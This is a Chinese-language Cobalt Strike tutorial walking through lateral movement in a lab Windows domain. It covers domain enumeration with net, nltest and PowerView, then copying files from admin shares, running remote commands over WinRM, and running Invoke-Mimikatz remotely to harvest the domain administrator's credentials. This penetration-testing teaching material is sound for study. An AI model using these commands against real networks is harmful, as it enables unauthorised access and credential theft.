
本篇為CS使用系列第六篇文章,主要以一個案例來演示使用CS進行橫向移動
文章目錄
- 域內滲透&橫向擴展
- 網路拓撲
- 環境搭建
- 1.主機列舉
- Windows 的內置命令
- PowerView
- CS net模塊
- 2.用戶列舉
- 1.判斷當前賬號是否為管理員賬號
- 2.判斷哪些賬號是域管理員賬號
- 3.判斷本地管理員
- 3.利用
- 檔案操作
- 使用WinRM運行命令
- Powersploit運行mimikatz
域內滲透&橫向擴展
網路拓撲

從網路拓撲結構中分析得出
- 客戶機win7具有雙網卡,與攻擊者在同一網段(192)可以直接訪問,在現實中就是公網IP
- 客戶機win7、成員服務器:Win Server2008-2、域控制器:Win Server2008-1在同一內網(10段),也在同一個域內,可以相互訪問
用一個網路拓撲圖來展示,可能不是很準確

在一個用路由器連接的內網中,可以將網路劃分為三個區域:安全級別最高的內網;安全級別中等的DMZ;安全級別最低的外網(Internet)
這三個區域負責完成不同的任務,因此需要設定不同的訪問策略
DMZ 稱為隔離區,是為了解決安裝防火墻后外部網路不能訪問內部網路服務器的問題而設立的一個非安全系統與安全系統之間的緩沖區,DMZ 位于企業內部網路和外部網路之間,可以在DMZ 中放置一些必須公開的服務器設施,例如企業Web 服務器、FTP 服務器和論壇服務器等,DMZ 是對外提供服務的區域,因此可以從外部訪問,在網路邊界上一般會部署防火墻及入侵檢測、入侵防御產品等,如果有Web 應用,還會設定WAF,從而更加有效地保護內網,攻擊者如果要進入內網,首先要突破的就是這重重防御,在配置一個擁有DMZ 的網路時,通常需要定義如下訪問控制策略,以實作其屏障功能
- 內網可以訪問外網:內網用戶需要自由地訪問外網,在這一策略中,防火墻需要執行NAT
- 內網可以訪問DMZ:此策略使內網用戶可以使用或者管理DMZ 中的服務器
- 外網不能訪問內網:這是防火墻的基本策略,內網中存盤的是公司內部資料,顯然,這些資料一般是不允許外網用戶訪問的(如果要訪問,就要通過VPN 的方式來進行)
- 外網可以訪問DMZ:因為DMZ 中的服務器需要為外界提供服務,所以外網必須可以訪問DMZ,同時,需要由防火墻來完成從對外地址到服務器實際地址的轉換
- DMZ 不能訪問內網:如果不執行此策略,當攻擊者攻陷DMZ 時,內網將無法受到保護
- DMZ 不能訪問外網:此策略也有例外,例如,在DMZ 中放置了郵件服務器,就要允許訪問外網,否則郵件服務器無法正常作業
內網又可以分為辦公區和核心區
辦公區:公司員工日常的作業區,一般會安裝防病毒軟體、主機入侵檢測產品等,辦公區一般能夠訪問DMZ,如果運維人員也在辦公區,那么部分主機也能訪問核心資料區(很多大企業還會使用堡壘機來統一管理用戶的登錄行為),攻擊者如果想進入內網,一般會使用魚叉攻擊、水坑攻擊,當然還有社會工程學手段,辦公區人員多而雜,變動也很頻繁,在安全管理上可能存在諸多漏洞,是攻擊者進入內網的重要途徑之一
核心區:存盤企業最重要的資料、檔案等資訊資產,通過日志記錄、安全審計等安全措施進行嚴密的保護,往往只有很少的主機能夠訪問,從外部是絕難直接訪問核心區的,一般來說,能夠直接訪問核心區的只有運維人員或者IT 部門的主管,所以,攻擊者會重點關注這些用戶的資訊(攻擊者在內網中進行橫向移動攻擊時,會優先查找這些主機)
參考:內網安全攻防:滲透測驗實戰指南
在開始域內滲透之前,先說明下現在的情況,我們已經通過釣魚攻擊拿到了Victim的Beacon,并且為了盡可能不被內網態勢感知防火墻發現,派生SMB Beacon,SMB Beacon 就是為了內網橫向擴展滲透而設計的


環境搭建
關于如何搭建域環境在完整的域滲透實驗中已經介紹的很清楚了,這次這需要添加一個域內用戶即可
配置客戶機win7IP地址
虛擬機win7安裝雙網路配接器,第二個設定為Lan區段10.0.0.1

配置網卡2的IP地址和DNS服務器

加入域
首先在域控主機上添加用戶


win7加入域

設定成功后重啟虛擬機,重啟后使用域賬號登錄
設定winserver2008-2
真實企業中,因為普通域用戶在做一些高級別操作的時候,需要域管理員的賬號和密碼,有時候用戶為了方便就會把普通的域用戶增加到目標主機的超級管理員組,所以這里直接把win701用戶添加至server2008-2的管理員組

自動添加的方法:Windows 2008 R2 AD系列一:域用戶自動加入本地管理員
Windows Server 2012 AD DS環境下域用戶自動加入本地管理員組
Server2008-2開啟winRM
winrm service 默認都是未啟用的狀態,先查看狀態;如無回傳資訊,則是沒有啟動;
winrm enumerate winrm/config/listener
針對winrm service 進行基礎配置:
winrm quickconfig

1.主機列舉
當進入目標局域網時,需要弄清楚幾個問題
1、我正處在那個域上?
2、域信任關系是什么樣的?
3、可以登陸哪些域?這些域上有哪些系統?目標是什么?可以獲取什么?
4、系統上存放共享資料的地方在哪里?
Windows 的內置命令
只有收集足夠的資訊,才能更好的進行下一步操作,在Beacon中可以通過在命令前邊加shell的方式執行windows shell命令
shell whoami

shell net user

發現是一個域內普通用戶,接下來進行用戶列舉
-
列舉出當前域
shell net view /domain
如果出現"此作業組的服務器串列當前無法使用",說明Victim沒有關閉防火墻

-
列舉域上的主機串列(但不是所有主機,這個也就是在網上鄰居中可以看到的內容)
# shell net view /domain:[domain] shell net view /domain:OCEAN0
net group可以獲得加入到這個域中的電腦賬戶串列shell net group "domain computers" /domain
-
獲取目標主機IP
shell ping NetBIOSName
通過nslookup命令
shell nslookup NetBIOSName
-
查看域控
shell nltest /dclist:[domain] # 當使用 32 位的 payload 運行在 64 位的系統上,并且 nltest 路徑不對的時候,可能會提示沒有 nltest 這個命令,這時可以嘗試使用下面的命令為其指定路徑 shell C:\windows\sysnative\nltest /dclist:[domain]
-
查看信任關系
shell nltest /domain_trusts
-
列出主機共享串列
shell net view \\[name] # name可以用獲取域內注解串列命令得到 shell net view /domain:OCEAN0
PowerView
在滲透進入內網后,如果直接使用 Windows 的內置命令,比如 net view、net user等,可能就會被管理人員或者各種安全監控設備所發現,因此較為安全的辦法就是使用 Powershell 和 VMI 來進行躲避態勢感知的檢測
PowerView 是由 Will Schroeder 開發的 PowerShell 腳本,該腳本完全依賴于 Powershell 和 VMI ,使用 PowerView 可以更好的收集內網中的資訊,在使用之前,與 PowerUp 的一樣需要先 import 匯入 ps1 檔案
PowerView 下載地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
使用命令匯入腳本
powershell-import
匯入檔案后就可以執行命令(需要在前邊加上powershell)
-
查詢本地域的資訊
powershell Get-NetDomain
-
查看是否存在網路共享
powershell Invoke-ShareFinder
-
查看域信任關系
powershell Invoke-MapDomainTrust沒有有用的資訊
CS net模塊
Cobalt Strike 中有自己的 net 模塊,net 模塊是 beacon 后滲透攻擊模塊,它通過 windows 的網路管理 api 函式來執行命令,想使用 net 命令,只需要在 beacon 的控制中心輸入 net + 要執行的命令即可
net dclist : 列出當前域的域控制器
net dclist [DOMAIN] : 列出指定域的域控制器
net share \\[name] : 列出目標的共享串列
net view : 列出當前域的主機
net view [DOMAIN] : 列出指定域的主機
在 beacon 控制臺中輸入這些命令很類似輸入一個本地的 net 命令,但相比于主機上運行 Beacon 中輸出的結果更加豐富

2.用戶列舉
用戶列舉的三個關鍵步驟:
1、當前賬號是否為管理員賬號?
2、哪些賬號是域管理員賬號?
3、哪個賬號是這個系統上的本地管理員賬號?
1.判斷當前賬號是否為管理員賬號
因為普通域用戶在做一些高級別操作的時候,需要域管理員的賬號和密碼,有時候用戶為了方便就會把普通的域用戶增加到目標主機的超級管理員組,所以為了快速拿到權限可以先判斷當前賬號是否為管理員賬號
可以嘗試運行一些只有管理員賬號才有權限操作的命令,然后通過回傳結果判斷是否為管理員,其中一種方式是嘗試列出僅僅只有管理員才能查看的共享串列,比如下面的 dir \\host\C$ 命令,如果可以看到一個檔案串列,那么說明可能擁有本地管理員權限
shell dir \\host\C$
通過之前shell命令,已經知道WIN-A9PLNLID2QM為域控主機,那么這就是host
shell dir \\WIN-A9PLNLID2QM\C$
發現賬戶權限不夠拒絕訪問,所以現在的權限不是域管理員

嘗試訪問本地目錄,發現可以列出目錄,判斷當前權限為本地管理員
shell dir \\win701\C$
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ZMo1U2ab-1638702777912)(https://gitee.com/q_one/oceanpic/raw/master/img20212/202112051912171.png)]
使用同樣方法查看其他主機
shell dir \\SERVER20082\C$
發現該域賬號同時使server20082的本地管理員,也就是說可以利用server20082作為跳板機

也可以運行其他命令,比如運行下面的 at 命令來查看系統上的計劃任務串列,如果顯示出了任務串列資訊,那么可能是本地管理員,(當任務串列沒有資訊時會回傳 “串列是空的” 提示)
shell at \\host
powerview
在加載 PowerView 后可以用powerview中的方法
powershell Find-LocalAdminAccess
2.判斷哪些賬號是域管理員賬號
win命令
可以在共享里使用本地的Windows命令,找出這些“域群組”的成員
shell net group "enterprise admins" /DOMAIN
shell net group "domain admins" /DOMAIN
運行下面的命令來看誰是域控制器上的管理員
shell net localgroup "administrators" /domain

Net 模塊
下面的命令中 TARGET 的意思是一個域控制器或者是任何想查看的組名,比如企業管理員、域管理員等等
net group \\TARGET group name
也可以運行下面的命令,這會連接任意目標來獲取串列
net localgroup \\TARGET group name
powerview
powershell Get-NetLocalGroup -HostName Target
3.判斷本地管理員
本地管理員可能是一個域賬戶,因此如果想把一個系統作為目標,應該找到誰是這個系統的本地管理員,因為如果獲得了它的密碼哈希值或者憑據就可以偽裝成那個用戶
Net模塊
beacon 的 net 模塊可以在系統上從一個沒有特權的關聯中查詢本地組和用戶
在 beacon 控制臺中運行下面命令可以獲得一個目標上的群組串列
net localgroup \\TARGET
如果想獲取群組的串列,可運行下面的命令來獲得一個群組成員的名單串列,
net localgroup \\TARGET group name
PowerView 模塊
PowerView 使用下面的命令能夠在一個主機上找到本地管理員,這條命令實際上通過管理員群組找到同樣的群組并且把成員名單回傳出來
Get-Netlocalgroup -hostname TARGET
3.利用
如果一個系統信任我們為本地管理員權限,無需惡意軟體就可以進行以下操作(適用于域用戶為其他域成員服務器的本地管理員的情況)
檔案操作
-
查看共享檔案
shell dir \\host\C$\foo -
復制檔案
shell copy \\host\C$\foo\secrets.txt -
查看檔案串列
shell dir /S /B \\host\C$ # 其中 /S 表示列出指定目錄及子目錄所有檔案,/B 表示使用空格式,即沒有標題或摘要資訊
使用WinRM運行命令
WinRM 運行在 5985 埠上,WinRM 是 Windows 遠程管理服務,使用 WinRM 可以使遠程管理更容易一些
如果想利用 WinRM 運行命令則可以使用下面的命令
powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}
# powershell Invoke-Command -ComputerName SERVER20082 -ScriptBlock {net localgroup administrators}

注:如果命令運行失敗可能是因為 WinRM 配置原因,可在 powershell 環境下運行
winrm quickconfig命令,輸入y回車即可
命令運行后的結果,WinRM 也將通過命令列進行顯示,因此可以使用 Powershell 的 Invoke 命令來作為遠程工具,而不使用其他的惡意軟體來控制系統
Powersploit運行mimikatz
使用 PowerSploit 來通過 WinRM 運行 Mimikatz,只需要先匯入 Invoke-Mimikatz.ps1 檔案,再執行以下命令即可
powershell-import /path/to/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET
注:之前提了很多次的 PowerView 也是 PowerSploit 專案里眾多 ps1 檔案之一,Mimikatz 的 ps1 檔案在 PowerSploit 專案的 Exfiltration 目錄下
因為 beacon 上傳檔案大小限制在1MB,而 Invoke-Mimikatz.ps1 檔案大小在 2 MB 多(有600K的版本),因此直接運行 powershell-import 匯入該檔案會報錯,這里可以選擇使用 beacon 中的 upload 命令或者在當前會話的 File Browser 圖形界面中上傳該檔案
upload C:\path\Invoke-Mimikatz.ps1
上傳之后通過 dir 命令可以查看到檔案被上傳到了C盤下,之后可以運行以下命令來匯入該檔案
powershell import-module C:\Invoke-Mimikatz.ps1
最后再運行以下命令就能通過 WinRM 執行 Mimikatz 了
powershell Invoke-Mimikatz -ComputerName TARGET
如果提示:無法將“Invoke-Mimikatz”項識別為 cmdlet、函式……,則可以將兩條命令以分號合并在一起運行,即:
# beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName SERVER20082
beacon> powershell import-module C:\Users\win701\Desktop\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET

這樣的話就拿到了Server2008-2的賬密,以及域控超級管理員賬號和密碼,如果域控開啟了3389就可以直接遠程連接

實驗中導致橫向移動原因是因為存在域普通用戶作為本地超級管理員的情況,企業應避免使用這種不安全的權限分配

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/374599.html
標籤:其他
上一篇:CobaltStrike使用-第五篇(Bypass UAC、CVE提權、Powerup提權)
下一篇:【總結】密碼學詳細學習
